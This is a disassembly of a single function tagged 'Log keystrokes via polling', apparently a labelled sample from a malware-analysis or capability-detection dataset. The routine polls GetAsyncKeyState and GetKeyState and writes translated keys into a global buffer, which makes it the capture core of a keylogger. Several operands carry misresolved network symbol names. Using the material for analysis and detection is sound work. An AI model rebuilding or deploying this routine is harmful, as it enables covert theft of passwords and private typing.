Function at 0x180007a18
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movzx edi, cx
mov eax, 8
cmp ax, di
jne 0x180007a4b
mov eax, dword [0x180064a44]
test eax, eax
jle 0x180007eb9
dec eax
jmp 0x180007a82
mov edx, 9
cmp dx, di
je 0x180007db2
lea r9d, [rdx + 4]
cmp r9w, di
jne 0x180007a8d
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], r9b
inc ecx
movsxd rax, ecx
mov byte [rax + r8], 0xa
lea eax, [rcx + 1]
mov dword [0x180064a44], eax
jmp 0x180007eb9
mov esi, 0x20
cmp si, di
jne 0x180007aae
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], sil
jmp 0x180007e3a
movzx eax, di
mov ebp, gethostbyname
sub ax, bp
cmp ax, dx
ja 0x180007bf5
lea ecx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x180007c61
mov ecx, edi
cmp edi, 0x35
ja 0x180007b91
je 0x180007b79
sub ecx, ebp
je 0x180007b61
sub ecx, 1
je 0x180007b49
sub ecx, 1
je 0x180007b31
sub ecx, 1
je 0x180007b19
cmp ecx, 1
jne 0x180007eb9
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x24
jmp 0x180007e3a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x23
jmp 0x180007e3a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x40
jmp 0x180007e3a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x21
jmp 0x180007e3a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x29
jmp 0x180007e3a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x25
jmp 0x180007e3a
sub ecx, 0x36
je 0x180007bdd
sub ecx, 1
je 0x180007bc5
sub ecx, 1
je 0x180007c82
cmp ecx, 1
jne 0x180007eb9
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x28
jmp 0x180007e3a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x26
jmp 0x180007e3a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x5e
jmp 0x180007e3a
lea eax, [rdi - 0x41]
cmp ax, 0x19
ja 0x180007c3c
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.WS2_32.dll_recv
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
sar ax, 0xf
cmp ax, bx
jne 0x180007c31
or dil, sil
mov byte [rcx + r8], dil
inc ecx
jmp 0x180007e3c
movzx eax, di
mov ebx, 0x60
sub ax, bx
cmp ax, dx
ja 0x180007c78
lea ecx, [rbx + 0x30]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
je 0x180007eb9
sub dil, bpl
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], dil
jmp 0x180007e3a
mov eax, 0x6a
cmp ax, di
jne 0x180007c9a
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x2a
jmp 0x180007e3a
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007cbc
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x2b
jmp 0x180007e3a
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007cde
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x2d
jmp 0x180007e3a
mov eax, reloc.WS2_32.dll_WSAGetLastError
cmp ax, di
jne 0x180007d00
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x2f
jmp 0x180007e3a
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007d22
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], 0x2e
jmp 0x180007e3a
mov eax, 0xba
cmp ax, di
jne 0x180007d45
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
not al
and al, 1
or al, 0x3a
jmp 0x180007e9f
mov eax, 0xbb
cmp ax, di
jne 0x180007d6c
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edx, 0x3d
test ax, ax
lea r9d, [rdx - 0x12]
cmovs edx, r9d
jmp 0x180007db2
mov eax, 0xbc
cmp ax, di
jne 0x180007d8d
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2c
jmp 0x180007e9f
mov eax, 0xbd
cmp ax, di
jne 0x180007dc6
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edx, 0x2d
test ax, ax
lea r8d, [rdx + 0x32]
cmovs edx, r8d
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rcx + r8], dl
jmp 0x180007e3a
mov eax, 0xbe
cmp ax, di
jne 0x180007de7
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2e
jmp 0x180007e9f
mov eax, 0xbf
cmp ax, di
jne 0x180007e08
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2f
jmp 0x180007e9f
mov eax, 0xc0
cmp ax, di
jne 0x180007e44
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rcx, dword [0x180064a44]
lea r8, [0x180064af0]
test ax, ax
mov edx, 0x7e
cmovs ebx, edx
mov byte [rcx + r8], bl
inc ecx
mov dword [0x180064a44], ecx
jmp 0x180007eb9
mov eax, 0xdb
cmp ax, di
jne 0x180007e63
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5b
jmp 0x180007e9f
mov eax, 0xdc
cmp ax, di
jne 0x180007e82
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5c
jmp 0x180007e9f
mov eax, 0xdd
cmp ax, di
jne 0x180007eb9
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5d
movsxd rdx, dword [0x180064a44]
lea r8, [0x180064af0]
mov byte [rdx + r8], al
inc edx
mov dword [0x180064a44], edx
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret